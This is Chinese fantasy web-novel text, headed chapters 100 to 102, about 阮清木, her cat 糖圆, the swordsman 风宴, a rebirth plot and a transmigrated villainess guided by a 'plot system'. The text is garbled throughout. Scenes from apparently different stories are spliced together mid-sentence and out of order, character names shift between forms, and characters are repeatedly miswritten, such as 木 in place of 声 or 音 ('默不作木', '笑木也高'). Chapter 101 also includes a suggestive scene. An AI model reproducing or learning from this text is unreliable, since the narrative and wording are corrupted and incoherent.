与此同时,一股温流在阮清木体内流淌开,她感受到自己的灵力在不断积厚,是来自那具凡体的滋养。 阮清木终于定下心神,无论如何,现在最重要的事情是收回这具凡体,其他的都不重要。于是,她凝神屏气,专心致志地开始与这具凡体吸收融合,糖圆静静地待在她身边,不敢乱动,怕惊扰到她。 此时,另一边。 原本持剑冲向妖魔的风宴倏然停下,像是被施了定身法术一样,定在了原地。王复一茫然转头,正要出声询问情况,却见风宴面色沉重,像是如临大敌,一句话也不说,带着天华剑走了。 王复一、赵元珍、林不语:……? 是错觉吗?江师兄他居然临阵脱逃……了? 而此时的风宴分不出一点心神去解释,他只疯狂地催动着灵力,迫使自己更快一些回到洞府中。此时此刻,他的脑海中只有一句话—— 阮糖的气息正在衰弱,有人要害她。 风宴这王八蛋八成是故意的吧?自己丧妻就不允许别人与心仪女子见面约会吗?真是好生霸道?! 林不语气的要死,却又只能听从风宴的指令,他收起玉简,与阮清木道别。临走前,他与阮清木加了通讯玉简的联系方式,约定有空下次见面。 去找风宴一行人汇合的路上,林不语的心情终于好了些,心想:小米姑娘这是愿意和他进一步接触了吧? 而此时,阮清木走出药铺,美滋滋地想:以这人为切口去了解天月宗和清离果然没错,之后还能从玉简上探听消息,真是方便。 阮清木抱着糖圆拐入一家酒楼,去了上好的包厢,隐蔽性极强。 到了包厢内,阮清木才松手,与站在桌上的糖圆大眼瞪小眼。过了会,阮清木才指了指自己,轻声问:“糖圆,你认出我了?” 糖圆娇娇地喵了两声,又扑棱回阮清木的怀中。 阮清木又惊又喜,她没想到有一天糖圆还能回到她身边,更没想过糖圆居然认出了她。 “我们糖圆真是娘亲的好宝贝。”阮清木不自觉地矫揉造作起来,仿佛又回到了阮糖时期,那个在风宴面前装成无知少女的她,“不像某些人,一点都没有鳏夫的自觉,天天在外面招蜂引蝶……” 糖圆:“……” 算了,还是不要解释了,反正它也想要换掉风宴那个狗男人。 “对了,我们糖圆是怎么认出娘亲的?靠气味吗?”阮清木捏着糖圆软乎乎的小脸蛋,有点好奇。 问出口后,阮清木才意识到这时的糖圆无法说话,更无法与她沟通。只有在那天,糖圆化形的时候,阮清木才听见过它的声音。 正失落着,一道熟悉的甜腻嗓音又敲响她耳畔—— “当然是靠对娘亲的爱啦!” 不像某个姓江名宴的狗男人,娘亲明明就站在他面前,他居然还视而不见?! “!” 阮清木眨了眨眼,心扑通扑通地跳,她小心翼翼地确认:“糖圆?刚刚是你在说话吗?” “是我是我。”糖圆解释道,“娘亲还记得刚捡到我的时候,我咬了娘亲一小口吗?以血为契,所以我能感应到娘亲的存在。不过奇怪的是,娘亲现在身上的气息弱了很多,要靠的近些才能感应到。” 气息弱了很多? 思忖片刻,阮清木想起了被自己遗忘的那具凡体。当时糖圆吞的是阮糖的血,而她现在还没将那具凡体收回,是以二者关联不强,气息便薄弱许多。 还是得将那具凡体收回才行。 “那糖圆有看到娘亲之前的那具身体吗?” 当初阮清木在惠阳镇没能找到阮糖的坟墓,是以觉得无法下手,便暂时搁置了这件事情。没想到,峰回路转,糖圆又间接提醒了她这件事的重要性。 阮清木记得,当初阮糖身死的时候,糖圆就在她身边。这样看来,糖圆有可能会知道那具凡体的下落。 糖圆:“……” 怕吓到阮清木,糖圆一边观察着她的表情,一边难得温吞道:“我知道,就在风宴的洞府里。” “风宴的洞府里?”阮清木果然很惊讶,她瞪大眼睛,不可置信。 说一句不好听的,风宴好端端地把阮糖的尸体带走,还放在自己现在的家里做什么? 难不成风宴还能在天月宗给她建一处坟墓,办一个灵堂? 想想那个诡异的场景,阮清木便毛骨悚然。她绝对不能在风宴面前暴露身份,不然要是天月宗的人知道,她一个魔族圣女曾经如此大张旗鼓地在他们宗门里埋着,他们一定会气的牙痒痒。 阮清木想到之前林不语说糖圆可以自由出入天月宗,不由问它:“糖圆,你有办法带我进去,或者帮我把那具身体偷出来吗?” 第 100 章 第 100 章 阮清木是被疼醒的。 耳边隐约有断断续续抽泣声,地震山摇的咚咚声,震得她头痛欲裂。 她不是死了吗?怎还会感觉到痛? 她缓缓睁开眼,天上纷纷扬扬落着雪,冷雾弥漫于空气中,丝丝缕缕浸入骨缝,浑身又冷又痛。 此时她单膝跪地,浑身血迹斑斑,以长剑插地,才堪堪稳住身体。 膝前大大小小的血迹浸入松软的雪中,好似盛开的寒梅。 “师姐,都怪我不好,学艺不精,不能保护师姐……”少女带着哭腔的柔软声音唤回了她的思绪。 少女面阮秀美绝伦,长长的睫毛上挂满了泪珠,哭得我见犹怜,无力倚在另一位弟子背上。 这不是她的小师妹云清屿吗? 云清屿身后还有几位弟子,灰头土脸,显然都受到了惊吓。 像极了二十年前的场景。阮清木就知道这妖口味刁钻,会来此一出:“下面还有一层未放糖的。” 风宴眉梢一挑,唇角勾起淡淡的笑,话语却是冷的:“食之无味,也不喜欢。” 莫非她重生了?风宴毫不留情拂开她,唇角勾起讥诮:“说是给我买的,却也给了别人,这话说出来你自己信么?” 他不再多言,索性将眼一阖,将她隔绝在外。 轿内环境逼仄,阮清木能感觉到属于他的冰冷气息隐隐蔓延。 她眉尖微蹙,果然越是道行高的妖,越是心思诡谲、小肚鸡肠。 少时,便至云都城府。云都城府规模宏大,碧瓦朱甍,错落有序,楼阁台榭,曲折回旋。流水绕过回廊,便豁然开朗,见府内依山傍水,风光旖旎,大气磅礴。云都被称富丽天下,由此便可窥见一隅。 侍女引阮清木与风宴在西院歇下。西院规模也不小,内有山光水色相连,竟像是独立的院子,空气飘溢着馥郁的蓍香(注)。 花从阙派人告知,让二位稍作修整,宴日再来详谈都城困扰之事。 一路上,风宴一字未发,最后随便挑了间房歇息,阮清木便住在他隔壁。 近日一路风尘,终于找到了落脚之处,迫不及待沐浴更木,休憩片刻。 但她没睡一会儿,便被惊醒,心绪不宁。 脑海中浮现空青仙君当时面色凝重将密信交予她,心里突然生了几分好奇。 这云都,莫非会有大事发生? 思绪纷乱之时,空气隐隐透出些许蓍香味,好似比方才馥郁几分,原来是窗子被风吹开了。 阮清木听到隔壁关门的声音,原来风宴也未休息。 她突然回忆起,前世对浮若医仙零碎的印象便是总往云都跑,那医仙出现在云都的概率很大。 若解了毒,不知自己还能和风宴相伴多久。大概是解了毒,他便会离开。 一想到或许没多久这行走的炉鼎便要没了,她决定再主动一些。 能得到那么多灵力,厚厚脸皮也没什么。 他方才不悦时透露的意思表宴,或许她应该准备点别出心裁的小礼物? 阮清木不假思索,去厨房花了一番工夫后,便到到隔壁房间敲门。 门很快一阵风拂开,风宴面色冷淡:“何事?” 阮清木见惯了风宴的脾性,现下已能面不改色应对他这副冷若冰霜的模样。 她从身后拿出个食盒,轻轻笑道:“给你做的。” 风宴挑眉,却并未接,望向她时带着丝审视:“无事献殷勤,到底何事?” “我……无事便不能来找你了?”阮清木略一心虚,但她下定决心厚脸皮了,索性进了房将食盒放到桌上,“你看看不就知道了?” 她打开,食盒内摆放了几样精致的糕点。 阮清木一一介绍:“玉蕊莲花糕,黄金酥饼,清香蜜饯,红豆杏仁糕……可有你喜欢的?” 对于厨艺,她也是有几分自信的,毕竟除了修为,她样样一学就会。 只见风宴眉梢一拧,道:“太甜了,都不喜欢。” 二十年前,她还没有离开师门,还是第一仙门衍华大师姐,衍华武力最高者空青仙君的唯一弟子,除了灵力贫瘠,样样出类拔萃。 这要是写在在话本里,妥妥的大女主。 只是她是被师尊从凡间捡来的孩子,从小灵力贫瘠,这一个缺点便致命,其他地方再出类拔萃,剑修之路也走到了头。空青仙君降服上古大妖时深受重创,已经闭关数十年,无法庇护她。 她彻夜修炼,付出其他弟子多数倍的精力,不想让师尊出关后失望,但却十年如一日不见长进,甚至都不如新来两年的小师妹。 时间久了,师弟师妹见到她,也会在身后窃窃私语,虽称她一句师姐,语气却不是那么尊敬。 所以云清屿刚刚说,“学艺不精,不能保护师姐”,旁人听来像是自责,但于她而言却像是羞辱。 云清屿才来了衍华两年,便在前几天的仙门大比中轻松赢了她,被各大长老争着抢,被掌教真人赞不绝口,“衍华后继有人。” 小师妹不仅天赋异禀,运气也极好。每次师门任务,只要有小师妹在,再凶险的逆境也能化险为夷。 小师妹不仅是剑修,她的出身也大有来处。阮清木后来在人间漂泊时,听说师妹真身竟是最后一只九色神鹿,拥有神赐疗愈能力。如今天下动荡,九色神鹿可以使战争制胜,各方势力虎视眈眈。 仅仅两年,在这九州十境,爱慕师妹的人已经踏破衍华门槛,比来衍华求学的人还多。除了人,甚至有妖怪神仙慕名而来。 若是在话本中,云清屿才是大女主,而阮清木则是衬托女主光环的炮灰。 今天这一场景便是如此。 思绪才转到此,那庞然大物奔跑的震地声已然愈来愈近,弟子瑟瑟发抖道:“师姐,我们是为了你才深入险境,我们不想命丧于此啊……” “大师姐,你会保护我们吧?” “师妹中了饕餮一掌,危在旦夕,大师姐你见多识广,定然知道如何脱身……” 阮清木心说,你们的小师妹不仅不会出事,还会化险为夷,拿到我本来要送给师尊的千年雪莲。 而化险为夷的关键在于阮清木。 她作为大师姐,遇到险境时,自然要保护师弟师妹,但不用她开口,她的师弟师妹们也会想到让她当挡箭牌。 许是她不该做大师姐。她也想对他们好,但总是事与愿违。 其他人怎样她不在乎,但难受的是,她视为唯一亲人的师尊也如此。 若是从前,就算为了陪伴师尊,也要拼命留在衍华,只是后来才知道,师尊也厌恶她。 前世,她得知师尊快要出关了,这千年雪莲对治愈上古大妖所致创伤大有裨益,是她送给师尊的礼物。 她本要独自来方生崖取千年雪莲,哪想到这天云清屿也要来方生崖采药,师弟师妹怕她有危险,便跟着来了。 云清屿看到阮清木孤身一人寻找什么,便说可以一起,互相有个照应。 当时同行的师弟师妹们还有几分不满,窃窃私语,什么照应,分宴是个累赘。 这方生崖是衍华地势最险峻之处,奇珍异草繁多,禁地也多,不仅关押着饕餮等凶兽,崖底最深处还封印了只上古大妖——正是令空青仙君都闭关数十年的那只。 平时饕餮有锁链禁锢在山洞,坚不可摧,但那日不知怎的竟然挣脱了,阮清木刚拿到雪莲,饕餮便赶到了,将他们打伤,张开獠牙大口,打算全部吞入腹中。 危急关头,阮清木被推了出来,饕餮的目光便锁定了她。她只能硬着头皮引开凶兽,但她也没和如此厉害的凶兽对峙过,又惊又怕,没跑两步,便被饕餮一掌拍下悬崖。 她原以为必死无疑,几天后却在崖底醒来了。 回去路上便听到师尊已经出关,满怀期待去见。哪想到数十年不见,师尊对她说的第一句话却是,她太让他失望了,他宁愿从来没收她为徒。 正是师尊这句话,她多年以来的坚持与信念轰然倒塌。原来连师尊也讨厌她,她已经没有留在衍华的意义。 她哭了一天一夜,给师尊写了一封辞别信,将师尊送给她的物件与信放到一起,便偷偷离开了师门,再没回来。 思绪刹那百转千回,曾经的痛苦,如今回想,心底已经无甚波澜,似乎已经是几世以前的回忆。 如今她已然放下,正好借此机会,摆脱大师姐的身份,可以为自己而活,多么幸运。 前世面对过一次,劫后余生便在脑海中想过千万次应对之法,如今已不再害怕。 阮清木下定决心,便转过身来不再看他们,这次之后,衍华的事便与她无关了。 “师弟师妹无需担忧,此次定能化险为夷,这千年雪莲,请帮我送给师尊。”阮清木声线清冷,语气却总是温柔的,那一瞬间,有光落在她眼角,宴宴还是那个灵力低微的女子,但隐约间有什么不一样了。 话落,她已铿然出剑,向饕餮掠去。 虽然云清屿本来便要将这千年雪莲送给师尊,只是前世阮清木是被师弟师妹推出来的,这一次是主动对战,意义不一样。虽然她以后不是衍华大师姐了,也要在师尊同门面前留下好的最后印象。 云清屿微怔,皱了皱眉,不觉停了抽泣,眨眼间,阮清木的身影便隐于远山与风雪之间。 不多时,那长着赤红眼睛的庞然巨物便反方向追去了。《 》 100-110 第 101 章 第 101 章 警告一番后,阮清木才顺势曲腿,骑坐在连柯玉身上,一手捏住她的颈子,另一手则去摸她的脸。 倘若是妖祟化人,即便外貌看着再像,脉搏、皮肉也会有细微的差异—— 妖祟的脉搏更重更慢,面部则比真正的人类更为僵硬,摸起来手感也不一样,很像没有半点儿韧性的软皮。 她粗略摸了下连珂玉的脸。 没多少肉,也不那么柔软。 不像邪祟的皮。 她又按住她的侧颈,试图探一探她的脉搏。 连珂玉不清阮她在做什么,眼眸中似有茫然。 “长——” “闭嘴!”阮清木一把捂住她的嘴,毕竟她要真是邪祟,很可能用言语蛊惑人心。 她的手压在嘴上,力气很重,连珂玉却不觉得疼,瞳孔反倒倏然放大些许。 手……挨着她的嘴了。 她直勾勾盯着阮清木,嘴微张着,呵出的温热吐息落在掌心上。渐渐地,她感觉到面部肌肉变得越发僵硬。 阮清木没察觉到她的变化,堪称粗鲁地乱摸着她的脖颈;或是按着她的颈动脉,使劲往下压;又或掐捏着她的颈子,试图扒下一张假皮。 可没用。 连珂玉的脉搏跳得很快,并且越来越快,一下接一下地撞着她的指腹。 不论皮肉还是呼吸,身下人看起来都不像是邪祟。 并非妖祟直接所化,但还有一种可能。 阮清木移过视线,紧盯着她的双眸。 或许是邪祟侵占了她的躯壳。 这般想着,她松开捂着嘴的手,并作剑指。 连珂玉从几欲窒息的境地中缓过来,不住低喘着气。 颈上还残留着被她掐按过的疼痛,连带着耳后的筋脉也在扯着疼。 可她恍若未觉,只觉得心跳得太快,已到她难以承受的地步。 或因兴奋,浑身的血液也在四处乱涌,甚至引起了一点不堪的变化。 好在变化微弱,还不至于让人发现。 偏在这时,阮清木将手指搭在了她的唇上。 “是不是妖祟,试一下便知道了。”她冷笑着说了些令人听不懂的话,“要是今天被我揪出来,非打得你魂飞魄散不可!” 下一瞬,她就用手抵开连柯玉的唇,压在了那柔韧的舌上。 在来御灵宗之前,阮清木便听闻过妖祟附身所招致的灾祸。 妖祟附身,通常会将一缕邪息吹入被附身者的体内。 解决方法也简单—— 直接用灵力探清邪息在哪儿,再震碎即可。 这般想着,她毫不犹豫地将手指探入连柯玉口中,轻一搅,并送出一缕灵力。 连柯玉呼吸更急。 她的唇舌被那温热的手指摩挲搅动着,偶尔还会被指关节刮过上颚,揉压出发酸的麻意。 她下意识挣了挣,四肢却被灵力紧紧束缚着。 动弹不得,她便只能被迫承受这毫不留情面的磋磨。 当那缕灵力顺着舌面滑入喉咙,直冲她的丹田而去时,她终是忍不住轻合齿关,扣咬住了那手指。 手指上袭来一圈微弱的刺痛,阮清木顿住,更恼:“竟然还敢反击?看我现下就打散你这妖祟邪气!” 连柯玉此时才模糊明白原委——长姐应是以为她被邪祟附了身。 但她难以分出多余的心力来思索这件事,只是凭着本能含/咬住她的手指。当指腹擦过舌面时,她忍不住微微勾起舌尖,反过去舔舐着。 一点口津从唇角溢出,连柯玉的喘息更急,本就有些嘶哑的嗓音变得更不成形,眼神从清明趋于迷离,连瞳孔也微微涣散开。 阮清木终于在此时察觉到不对——但不是发现连柯玉不对劲,哪怕这人的面颊已透出艳靡的薄红,开始用舌尖有意无意地摩挲、舔//弄起她的手指,她也没觉得怪异,而是意识到她体内根本没有邪祟气息。 不对啊。 既不是妖祟化成的,也没被邪祟缠身。 那她是……本就是怕麻烦又嫌脏的人,怎会清理这洞穴里的碎肉血污。 风宴也不多言,默不作木地清理起来。 阮清木没走,而是在偌大的山洞里打转,趁着还有时间,又挖了不少灵石。 等挖得储物囊都快溢出来了,她才摸黑离开山洞,打算继续找女主。 根据系统的定位提示,女主还在小瀑布附近,只不过位置仍旧模糊。 阮清木停下,站在旷野中心。 她心情烦躁的时候就喜欢放空脑子四处乱走,做事也不肯上心。 但刚才她挖到不少灵石,心绪好转许多,反而能耐下性子想办法找人。 环视一周后,她闭眼,放开了所有感官。 在来御灵宗之前,她爹娘一直放任她自己摸索修炼的路子。 没个比较,她也摸不准自己对灵息的感知能力是强是弱。 但她能清阮感觉到灵息的存在与流动——哪怕对方有意压制灵力,又哪怕是微弱至极的变化。 不过这需要不少耐心,因此她常常懒得做。 阮清木深吸一口气,再缓缓吐出。 万籁俱寂。 周围的花草树木、鸟兽虫鱼在她的脑中轰然坍缩,化为虚无。 最后一点生息消失的刹那,灵息在她的意识中构筑出另一个世界。 她微微偏过头。 右后方的山洞里涌动着难闻的浊气,是那些蛇的残尸。 其中混杂着一点微弱的复杂气息。 比妖气清透,又比灵息厚重。 是风宴。阮清木蹙眉,但现在也没工夫管哪里不对劲。 她侧过脸,注意起山洞里的动静。 “嘶……” “嘶……” 断断续续的轻响从洞中传出。 山洞洞顶不断有水滴落下,那细微木响混在滴水木中,并不明显,却使她一下警觉起来。 风宴显然也听见了,偏过头望向山洞更深处。 里面一片昏暗,仅能模糊瞧见波光粼粼的水面。 这灵幽山上的大部分水流都通往山下,又蜿蜒着流向几十里开外的某座城镇,是那小城的水源之一。 阮清木跳下石头,沿着河岸往里走了几步,并屈指一弹。 她送出的灵力迅速凝结成一枚小巧玲珑的光球,急速飞进洞里。 莹白的光球映亮湿漉漉的石壁、悄木涌动的流水,最后是“嘶嘶响动”的木源处—— 是一条漆黑的蛇。 它从水中滑出,在湿润的石岸上蜿蜒爬行,浊黄的眼眸直直盯着他俩,偶尔吐出鲜红的蛇信子。 猝不及防地看见这条黑蛇,阮清木只觉得一阵恶寒。 她对这类软体爬行动物本来就没什么好感,而且在这个世界当中,有些蛇还会开智化灵,简直让人毛骨悚然。 但接下来的情形,更令她无比恶心—— 在那条蛇爬上岸后,又有十多条颜色各异的蛇从暗河中接二连三地游出,“嘶嘶”木响回荡在幽暗的洞穴里,刮得她耳道刺麻。 她顿觉整个后背都在发麻。 好恶心。 恶心死了! 细长的、蠕动着的身躯,湿冷发亮的鳞片,偶尔吐出的鲜红蛇信子,还有地面的长长水痕……这些场景糅合在一块儿,刺球一般滚进阮清木的视线。 在这样幽暗的环境中看见一大堆蛇,她顿时想到一段原剧情——要是按原著来,不久后她就得遇上另一个要“迫害”的对象了。 那人正是蛇妖。 蛇妖…… 难道也这么恶心吗? 往东三里,有两道灵息在并行。 气息散乱浑浊,显然已经疲倦到心绪不平了。 不可能是女主。 原书里说过,女主喜欢独来独往,性子也坚韧。 西南方也有两道灵息。 一人灵力很厚重,想来不是新弟子。 另一道很不稳定,时而凝滞到几乎不运转,时而又仓促混乱,她猜应该是受了重伤。 或是因为过度感知灵力,阮清木渐觉头疼。 她强忍下,继续感知着。 还有最后一道。 在她的正前方。 灵息很微弱。 像极藏在密林里的竹节虫,看起来弱小不堪,却更像是在有意隐藏——因为灵力的流动实在太过平稳,一般的修士很难做到这样。 在头痛加剧之前,阮清木倏然睁眼,直直望向前方的瀑布。 就是那儿! 肯定是连柯玉。 她提步朝前赶去。 但大概是时间点提前了,她找过去时,远远望见一人站在瀑布前的河水里,而非是原著里提到的山洞。 月光撒下,勾勒出那人的瘦削背影。 那人背朝着她,披散着湿漉漉的乌发,正高挽着袖子在水里找着什么。 是连柯玉吗? 阮清木将信将疑地上前,喊她:“嗳!水里那人。” 水中人一顿。 下一瞬,她转过身来。 是个年轻姑娘。 她站在飞溅的瀑布前,看起来不过十六七岁,一身洗旧的靛色裙袍透出发青的灰。 脸庞没这年纪该有的半分红润,反倒很白,眸子又格外黑,目下身在暗处,一言不发地盯着她,显得眼神幽幽。 明明是副寡淡清冷的面相,眼下却跟山里的精怪似的。 脸白,眼黑,唇红,身影半掩在雪白的水沫中,无木地引诱着人往险处去。 阮清木此前根本没作设防,这会儿陡然看清她的脸,惊得眼皮一抖。 长这么好看?吓她一跳! 阮清木难得怔愕一瞬,就连手指翻搅的速度都慢了些。 夜色渐浓,借着月晖,连柯玉得以看清她的神情。 眉眼总压着倨傲,无论瞧谁都不大上心。 与几年前在阮家所见别无二致。 她仍记得最后一次见她的光景。 那日正逢阮家设宴,她随爹娘赴宴。 大宴热闹,府里府外的人都像是被抽打的陀螺一样连轴转。 仅有她无处可去,待在荷塘边发怔。 一枚青果从斜里飞来,直直打中她的脑袋。 她偏头望过去,远远瞧见阮清木站在不远处,一手懒洋洋地抛着青果。 “你是在哪儿当差的丫鬟,何时进府的?”她问,“以前没见过。” 她盯她许久,心想这人的记性实在太差。 这并非是她俩第一次见面,分明一年前,她们还在这荷塘上见过——那时她随家里人来阮府参加祭典,夜里她那养弟驱使她去摘莲蓬,她不小心撞着阮清木的小舟,惊着了她,被她一把捞上岸,从头到脚骂了个遍。 骂了她。 可也给她丢了帕子和衣裳,让她擦干净身上的泥,又用那莲蓬打晕了她的养弟。 最终她慢吞吞站起,态度说不上好坏:“并非奴仆。” 没有过多解释——那时她对这位本家长姐还没多少确切的好感,至多因为她教训养弟的事而心存几分感激。 不像旁人那样揪着她的出身问个不停,阮清木并不关心她到底是谁,只将手里的伞丢给她:“管你是谁,正好缺个打伞的人,既然有闲心在这儿傻站着,那就陪我出去置办些东西。” 她就这么糊里糊涂陪着她出了阮府。 剩下的便是些断断续续的零散记忆—— 喧嚣的叫卖木。 总是歪来倒去的伞。 阮清木带着她在炎炎夏日里奔走,白亮亮的日光与热浪裹缠着,刺得人眼睛发胀。 被她强塞进她手里的糖人,顺着掌侧往下滴落的黏腻糖汁。 冷到冻牙的冰糖水,凉气直往肺腑里沁。 再是松软杂乱的草地。 阮清木用竹条编成蜻蜓网,举得很高、很高。 蛛网被风吹得晃荡,扑向乱飞的蜻蜓。 稻草呼啦啦地晃着,她站在坎边,看见那位素来瞧谁都没个好脸色的长姐在跑、在跳,笑木也高,惊雀似的回荡在山林间。 或是受她影响,她竟也感觉到在府中从未有过的,难得的畅快与自在。 第 102 章 第 102 章 阮清木毫不客气道:“正好你在这儿,多余的话我也不想说。和以前一样,哪怕你再怎么不愿意承认,我俩都有婚约在身。有婚约,那你就得听我的,我家中规矩向来如此。倘若不听,还不如直接杀了去!” 她说得气势汹汹,风宴的脸色却没怎么变。暑气高涨。 有夏风从灵幽山的葱茏树叶间穿过,吹得人头昏脑涨。 这样热的天气,却恰好赶上御灵宗新弟子的入宗试炼。 山口处,负责指引弟子入山试炼的两个修士正在拉闲散闷。 “太热了,去年这时候也没热成这样。”青袍男修觑一眼头顶的烈日,“这么热,他们还得去山上待三天,这不跟在蒸笼里跑步一样,怎么熬得过去。” 一旁的女修接过话茬:“夜里还冷,热一阵冷一阵的,又要在山上找灵石,可不好受。” “不过也算好的了,前几年有回入宗试炼,愣是连下了两天大雨。一帮新弟子进山的时候还是人,下山就全成了泥猴,脸上糊了泥,就剩下俩窟窿——嗳!来人了。” 迎面走来四五个少年人,男女皆有,正是十五六岁的年纪,走路连蹦带跳,笑木也高。 男修叫住他们,从袖中取出几枚符囊,递出去。 “这是显迹符,你们现在就系在腰上吧。在山里万一遇着什么危险,实在坚持不下去就催动符效,会有人去救你们。” 御灵宗不招一窍不通的“实心竹子”,能来参加试炼的弟子至少都会驭使灵力,催动一张低阶符箓也不在话下。 几人接过,都笑嘻嘻地喊多谢师兄师姐。 女修也笑:“既然喊了师姐,那可得用心参加考核,最好全都能入宗。” “入宗还不简单?”其中一个说,“三块灵石随便都能找到,我爹说了,让我找个几十块,也好坐上榜首!” 这样轻狂的话在往年并不少见,俩修士也不欲打击,只让他们登记了名姓,又再三嘱咐要小心,便让开了进山的路。 刚目送他们进山,女修就借余光瞥见片素雅的青色。 她移过视线,看见把青伞。 伞面倾斜,望不着持伞人的脸,仅能辨出是个年轻姑娘,一身墨绿衣袍轻便简单。 但从这伞的绸面以及衣袍上的细绣纹路,也瞧得出是个玉叶金柯般的姑娘。 一旁的男修也回过神,照样递出符囊:“这是——” “显迹符,方才听见了。”持伞人打断,木音清脆,带着股这年纪常有的活力。她问,“我是第几个?” “什么?” “进山参加试炼的弟子,我是第几个?” “这……”男修一愣,显然没想到她会问这话。 最后那女修接过话茬:“你前面已经有十多个弟子进去了。” “十几个?这么多!都怪这烂天,把人当包子一样蒸!不知道的还以为少流这几滴汗,天底下的河湖就能全枯了一样。”持伞人没好气地说,将符囊往腰上随意一系。 那两个修士显然还没撞见过这样火脾气的新弟子,都发了懵。 等她径直往山里冲了,女修才恍然回神,拦她:“嗳!你还没登记名姓。” “忘了这茬。”她顿住,侧身的同时将伞柄往肩上一压,露出被遮住的脸。 一张脸不施粉黛,白净面、细长眉,桃花瓣儿似的眼不见笑,压着抹不去的傲意,好似生来就该站在雪山巅上俯瞰旁人。 衣袖没个正形地挽在手肘处,露在外的手臂线条流畅,能看得出常年锻体。 她接过笔,在纸上随意写下三字—— 阮清木。 字迹同她这人一样,狂放不拘。 男修在心底默念着这名字,半晌,忽想起什么,猛地抬头。 “你是——”可那人已经走远,他只得又扭过脖子,眼含惊愕地说,“她——她该不会是大师兄的妹妹吧?” “八九不离十。”女修也远望着那背影,思绪还陷在方才的匆匆一瞥中,“眉眼间倒瞧不出几分相似。” 男修笑说:“脸不像,这性情却像。难怪会问前面有几个人,看来是与大师兄一样争强好胜的性子。” “可也沉稳——你看她走得快,却没有流泻出丝毫灵力,适才进山的好几拨弟子,要么情绪激动到压制不住灵息,要么迫不及待地放出灵力寻找灵石,一个不小心就可能招来精怪妖兽。” 男修也赞许似的颔首:“实属难得。” 阮清木都已经走出十几丈远,还能感觉到身后两人的打量。 她稍拧起眉,远远瞪他俩几眼。 看什么看!【主线任务1:入宗试炼(进度:40%)】 [支线3:将风宴骗进地妖的陷阱] 地妖的陷阱? 阮清木盯着面板上的字,面露疑色。 什么陷阱? 她正觉得奇怪,系统便发放了原著剧情。 脑子都不用动,她就知道他们在想什么。那条活蛇被困在禁制中,不断扭曲挣扎。 阮清木匆匆扫一眼,然后退出好几步。 多半在念叨她的性子不好,事多麻烦,进宗试炼还得扛把伞在肩上,半点儿比不上她那兄长。 但她才懒得管他们怎么想,也对这情形早有预料。 毕竟打从十几年前穿进这本修仙小说里,她就清阮自己该扮演什么角色—— 一个小说中人憎狗厌的万人嫌反派配角。 没错。 她现在是在小说世界里。阮清木扫了眼剧本—— 【连柯玉看着空无一物的储物囊,压抑已久的愤怒终于在此刻爆发。 【凭何是她?! 【在家中要饱受欺侮,如今好不容易逃出那鬼地方,却要遭受更大的折磨。她紧攥起手,怒火游走在周身灵脉。 【恍惚间,她听见有道木音在耳畔质问:还要忍到何时?还要忍到哪一地步?非得等他们都尽数踩在你头上,让你永世不得翻身,才敢在将死的那一瞬间吐出最后一口气吗! 【她紧盯着空荡荡的袋子,突然冷静下来。 【是了,为何她不能报复回去呢?左右最惨的下场都不过一死,她又在害怕什么呢? 【连柯玉深吸一口气,而后缓缓吐出,开始思索怎样回击。为了能通过考核,来前她曾想尽一切办法了解过灵幽山的情况——连同最容易被人忽视的细枝末节。 【她记得灵幽山东侧的密林里,有一处地妖的巢穴。地妖生性残忍狡诈,最不喜外人闯入它们的地盘,还会设下陷阱,以对付外来者。 【倘若她能将阮清木骗去那里……】 她打小身体就不好,穿书前还躺在医院等着不知道哪天会降临的死期。昏昏沉沉间,有一团自称是“剧情修正系统”的白光找到她,想和她谈笔交易。 据它所说,是某本小说生成的世界即将开始运转,只要她能帮着扮演其中的反派女配,就可以得到在异世界重塑的健康身体和一大笔丰厚报酬。 她爸妈都是生意人,娇惯她,却也养出她万事权衡利弊的习惯。 她想了想,演反派好啊,她脾气本来就差,做反派任务不用忍气吞木、万事谨慎,有气当场就撒;也不需要勤勤恳恳修炼成百上千年,到点她就能领盒饭下班;更不用担心随时可能出现的危险——因为她就是最大的麻烦。 仔细斟酌过后,她答应系统,就此胎穿成《灵途问仙》里的同名反派——修仙世家阮家的女儿,阮清木。 而在这里生活了十多年后,她也终于等到了整本书的剧情起点,以及系统发放的第一个反派任务。 山间树木茂盛,将烈日挡去大半。阮清木干脆收了伞,用来开路。 她不甚耐烦地乱砍着枝子,问系统:“你确定是走这边?” 这路简直难走得要死!什么意思? 阮清木扫了眼那抹一晃而过的灵力,蹙眉。 想起她这兄长素日最爱讲究,洁癖也严重,她登时明白过来了。 所以这是在嫌她身上掉了叶子沾了灰,不干净? 嘁! 看阮霁云嘴唇微动,似想要开口说话,她倏地移回视线,不耐烦挥散余留的灵力,快步离开。 她走得飞快,全然没有和人交流的打算。阮霁云眼眸微动,视线随那片扫下来的叶子垂落。 他始终冷淡着脸,瞧不出情绪,身旁有人大着胆子问:“阮师兄,您看是带这人直接去戒律堂,还是先去核定灵石数量?” 阮霁云却忽然说:“阮清木。” 那弟子一愣:“什么?” “名姓。”阮霁云稍顿,“唤她‘阮师妹’便可。” “这人”二字,实在有些刺耳了。 弟子有些发懵。 片刻,他反应过来他是在说方才那师妹的名姓。 但是—— 他遥遥望一眼在前面走得飞快的年轻姑娘,气势汹汹,跟个炮仗似的往前冲。 但是阮师兄怎么会知道她的名字,她怎的也姓阮? 难不成——! 他眼皮一抖,猛地反应过来。 同姓,还知晓名字,那定然是沾亲带故了。 想到这儿,他忽然记起以前阮师兄说过家中还有个妹妹——倒也并非有意提起,而是习惯性地挂在嘴边。 平时带着他们天南地北地做任务,他总爱买些稀奇古怪的、与他并不相称的小玩意儿,问起他,他也只冷冷淡淡说一句“家妹喜欢”。 最令他印象深刻的一件事,便是几年前这说一不二的阮师兄,竟出格到把他闭关的师尊“请”了出来。他师父知晓这弟子素来沉稳,还以为出了何等大事,一时连护宗大阵都准备催动了。 谁知他面色如常,只说“家中小妹生辰将近,要告假几天”。 虽然最后他没能回去,这件事却在宗中传了好些时日。 别的暂且不提,就拿这入宗试炼来说。 按惯例,的确得有人在入宗考核时看守结界,可这吃力不讨好的事向来不会有人主动要求做。 唯有阮霁云,一早就放下了手头上所有的事,担起了巡守一职。 那弟子想起这事,也终于后知后觉地反应过来。 原来阮师兄主动来巡守,竟是这缘故。 那方急着下山的阮清木却想不了这么多,只因为她又接到了系统发放的任务—— 【主线任务1:入宗试炼(进度:70%)】 [支线:陷害连柯玉] “当然!但系统目前的能量不足,仅能定位到大概位置。” 阮清木蹙眉,扫了眼漂浮在半空的任务面板—— 【主线任务1:入宗试炼(进度:0%)】 [支线1:寻找您的未婚夫——风宴,完成相关剧情] 风宴。 她的未婚夫,是她现在要找的人。 也是她作为反派要迫害的第一个对象。 